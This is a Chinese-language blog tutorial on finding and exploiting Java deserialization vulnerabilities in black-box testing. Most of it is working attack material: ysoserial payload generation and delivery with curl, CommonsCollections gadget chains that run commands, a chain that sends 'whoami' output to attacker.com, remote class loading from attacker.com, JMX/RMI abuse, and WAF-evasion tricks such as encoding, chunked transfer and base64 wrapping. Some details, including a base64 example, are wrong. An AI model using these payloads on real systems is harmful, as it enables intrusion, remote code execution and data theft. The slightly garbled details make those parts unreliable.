Java漏洞在黑盒实战中的技巧——反序列化篇

2025-03-26 19 0

一、入口点发现技巧

1. 协议特征识别

  • Java原生序列化

POST /api/data HTTP/1.1
Content-Type: application/x-java-serialized-object

[HEX] AC ED 00 05 73 72 00 ...  # 魔数头AC ED 00 05
  • XML序列化

<java serialization="1.0">
  <object class="java.util.HashMap">
    <field name="user" class="com.example.User">
      <string>test</string>
    </field>
  </object>
</java>
  • JSON特殊格式

{
  "@type": "com.example.User",
  "name": {"$ref":"$.恶意属性"}
}

2. 常见渗透路径

graph LR
    A[HTTP请求] --> B[参数污染]
    A --> C[Cookie篡改]
    A --> D[文件上传]
    E[JMX端口] --> F[1099端口探测]
    G[RMI服务] --> H[远程对象绑定]

二、漏洞检测手法

1. 盲打检测法

# 使用DNSLOG检测反序列化触发
java -jar ysoserial.jar URLDNS "http://xxxxxx.dnslog.cn" > payload.bin

# 发送payload并观察DNS解析记录
curl -X POST --data-binary @payload.bin http://target.com/api

2. 延时检测法

// 构造触发sleep的payload(CommonsCollections5)
Transformer[] chain = {
    new ConstantTransformer(Thread.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"sleep", new Class[]{Long.TYPE}}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, new Object[]{5000}})
};

观察响应时间

  • 正常请求响应时间:200ms

  • 成功触发后响应时间:>5000ms

3. 错误信息分析

HTTP/1.1 500 Internal Server Error
Content-Type: text/plain

java.io.InvalidClassException: 
org.apache.commons.collections.functors.InvokerTransformer; 
local class incompatible: stream classdesc serialVersionUID = -8653385846894807688...

关键特征

  • 出现InvokerTransformerAnnotationInvocationHandler等类名

  • InvalidClassException中包含CC组件信息

三、协议级渗透技巧

1. RMI服务探测

# 使用nmap扫描RMI注册端口
nmap -p 1099 --script rmi-vuln-classloader 192.168.1.100

# 强制绑定恶意对象
String server = "rmi://192.168.1.100:1099/Exploit";
Naming.bind(server, new MaliciousObject());

2. JMX攻击

// 构造JMX连接payload
JMXServiceURL url = new JMXServiceURL(
    "service:jmx:rmi:///jndi/rmi://attacker.com:1099/exploit"
);
JMXConnector connector = JMXConnectorFactory.connect(url);

3. HTTP参数注入

POST /exportData HTTP/1.1
Content-Type: multipart/form-data

--boundary
Content-Disposition: form-data; name="config"

rO0ABXNyADRjb20uZXhhbXBsZS5TZXJpYWxpemFibGVDb25maWg... # 序列化对象

四、高级绕过检测

1. 协议伪装技巧

# 将序列化数据嵌入JSON
import base64

payload = open('payload.bin', 'rb').read()
wrapped = {
    "data": {
        "type": "base64",
        "value": base64.b64encode(payload).decode()
    }
}

requests.post(url, json=wrapped)

2. 字符集混淆

// 使用多种编码绕过WAF检测
String[] encodings = {"UTF-16BE", "UTF-32", "x-COMPOUND_TEXT"};
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(payload);

for (String enc : encodings) {
    String encoded = new String(bos.toByteArray(), enc);
    sendTestRequest(encoded);
}

3. 分块传输绕过

POST /api/upload HTTP/1.1
Transfer-Encoding: chunked

7
\xac\xed\x00\x05
0

...后续chunk携带剩余payload...

五、工具链配置

1. Burp Suite插件配置

# 使用Burp自定义插件自动检测
from burp import IBurpExtender
from burp import IScannerCheck

class BurpExtender(IBurpExtender, IScannerCheck):
    def doPassiveScan(self, baseRequestResponse):
        data = baseRequestResponse.getRequest()
        if b'\xac\xed\x00\x05' in data:
            return [CustomScanIssue(
                baseRequestResponse.getHttpService(),
                "Java Serialization Detected",
                "Possible insecure deserialization")]

2. 自动化检测脚本

#!/bin/bash
# 自动化黑盒测试脚本
TARGET=$1

# 生成所有CC变种payload
for gadget in {1..10}; do
    ysoserial.jar CommonsCollections$gadget "nslookup $gadget.xxx.dnslog.cn" > payload$gadget.bin
    curl -X POST --data-binary @payload$gadget.bin $TARGET
done

六、漏洞确认与利用

1. 回显验证

// 构造命令执行回显payload
String cmd = "curl http://attacker.com/$(whoami|base64)";
Transformer[] chain = {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", ...),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};

2. 内存马注入验证

GET /favicon.ico HTTP/1.1
Host: target.com
X-Token: ${@Runtime@getRuntime().exec("calc")}  # 检测表达式解析

七、防御方案验证

1. 安全配置检查

# 检查服务器是否配置反序列化过滤
curl -v -X POST --data 'rO0ABXNy...' -H "Content-Type: application/x-java-serialized-object" http://target.com/api

# 预期安全响应:
HTTP/1.1 403 Forbidden
Content-Type: application/json

{"error":"Unsupported media type"}

2. WAF规则测试

# 测试WAF是否拦截CC特征
payloads = [
    b'InvokerTransformer',
    b'AnnotationInvocationHandler',
    b'\xac\xed\x00\x05'
]

for p in payloads:
    r = requests.post(url, data=p)
    if r.status_code != 403:
        print(f"Bypass found: {p[:20]}...")

总结与思维导图

graph TD
    A[黑盒测试流程] --> B[流量捕获]
    A --> C[特征识别]
    A --> D[Payload构造]
    A --> E[异常检测]
    B --> F[BurpSuite历史记录]
    C --> G[AC ED头检测]
    D --> H[Ysoserial生成]
    E --> I[响应时间分析]
    E --> J[错误信息匹配]
    E --> K[DNSLOG回调]

核心要点

  1. 通过协议特征快速锁定可疑端点

  2. 结合多种检测手法相互验证

  3. 关注非常规协议端口(RMI/JMX/JNDI)

  4. 持续更新payload绕过最新防御措施

反序列化的深度技巧

一、基于协议特征的深度检测

1. DNS/ICMP 双通道验证

通过组合DNS查询与ICMP回显检测漏洞,提高隐蔽性:

# 生成DNS探测payload(使用ysoserial)
import os
import requests

dns_log = "yourdomain.dnslog.cn"
payload = os.popen(f'java -jar ysoserial.jar URLDNS {dns_log}').read()
requests.post(target_url, data=payload)

# 同时监听ICMP(Python scapy示例)
from scapy.all import *
def icmp_callback(pkt):
    if pkt.haslayer(ICMP) and pkt[ICMP].type == 8:  # ICMP请求包
        print(f"ICMP Echo Request from {pkt[IP].src}")

sniff(filter="icmp", prn=icmp_callback, timeout=30)

原理

  • URLDNS链会触发DNS解析,验证漏洞存在性

  • 若目标网络限制DNS外连,可改用CommonsCollections5构造ping命令触发ICMP回包

二、非常规协议伪装

1. HTTP参数嵌套Base64

将序列化数据嵌入JSON参数,绕过基础WAF检测:

import base64
import requests

with open("payload.bin", "rb") as f:
    serialized_data = f.read()

wrapped_payload = {
    "data": {
        "type": "binary",
        "content": base64.b64encode(serialized_data).decode()
    }
}

requests.post("http://target/api/upload", json=wrapped_payload)

特征伪装

  • 原始特征rO0AB被Base64编码后变为rO0ABck8wQUI=,可绕过简单正则匹配

2. Multipart表单注入

将payload隐藏在文件上传字段:

import requests

files = {
    'file': ('payload.bin', open('payload.bin', 'rb'), 
            'application/x-java-serialized-object')
}

requests.post("http://target/upload", files=files)

检测点

  • 观察Content-Type: multipart/form-data中是否包含Java序列化数据

三、中间件特性利用

1. JBoss httpinvoker 漏洞利用

针对JBoss 5.x/6.x的ReadOnlyAccessFilter组件:

// 构造JBoss特定payload
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(javax.management.MBeanServerConnection.class),
    new InvokerTransformer("getAttribute", 
        new Class[]{ObjectName.class, String.class}, 
        new Object[]{new ObjectName("jboss.system:type=Server"), "StartTime"}),
    new InvokerTransformer("toString", null, null)
};

触发点

  • 发送payload至/invoker/readonly端点,利用MBean操作执行命令

四、时序攻击与条件竞争

1. 延迟注入检测

通过响应时间差异判断漏洞:

import time

payloads = [
    generate_sleep_payload(5),  # 生成触发Thread.sleep(5000)的payload
    generate_dummy_payload()
]

for p in payloads:
    start = time.time()
    requests.post(target_url, data=p)
    elapsed = time.time() - start
    if elapsed > 4.5:
        print(f"Potential vulnerability detected with payload {p}")

原理

  • 成功触发反序列化漏洞时,服务器会执行sleep导致响应延迟

五、非标准端口探测

1. JMX端口(1099)探测

# 使用nmap检测JMX服务
nmap -p 1099 --script rmi-dumpregistry <target_ip>

# 强制绑定恶意对象
String jmxUrl = "service:jmx:rmi:///jndi/rmi://attacker_ip:1099/Exploit";
JMXConnector connector = JMXConnectorFactory.connect(new JMXServiceURL(jmxUrl));

利用场景

  • JMX默认使用RMI协议,若未配置安全策略可直连执行命令

六、防御绕过技巧

1. 动态类加载混淆

// 利用URLClassLoader加载远程类
Transformer[] chain = {
    new ConstantTransformer(URLClassLoader.class),
    new InvokerTransformer("newInstance", 
        new Class[]{URL[].class}, 
        new Object[]{new URL[]{new URL("http://attacker.com/")}}),
    new InvokerTransformer("loadClass", 
        new Class[]{String.class}, 
        new Object[]{"Exploit"}),
    new InvokerTransformer("newInstance", null, null)
};

绕过效果

  • 避免直接引用危险类(如Runtime),绕过静态黑名单检测

总结与验证建议

  1. 多维度验证:组合DNS、ICMP、响应时间等特征判断漏洞有效性

  2. 协议分析:使用Wireshark分析原始流量,确认payload传输完整性

  3. 环境适配:根据目标中间件(WebLogic/JBoss等)调整payload构造策略

防御建议

  • 启用SerialKiller等安全反序列化库

  • 配置JVM安全策略限制敏感操作

通过以上技巧,可在黑盒测试中发现传统方法难以检测的反序列化漏洞入口点。实际攻击需根据目标环境动态调整payload和检测策略。


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

大模型安全警报:你的AI客服正在泄露客户银行卡号
HTB-Devvortex-WriteUp
WEB漏洞——越权
新型SectopRAT木马利用Cloudflare验证系统攻击Windows用户
医疗行业网络安全现状令人担忧
2025年全球网络安全支出预计增长12.2%

发布评论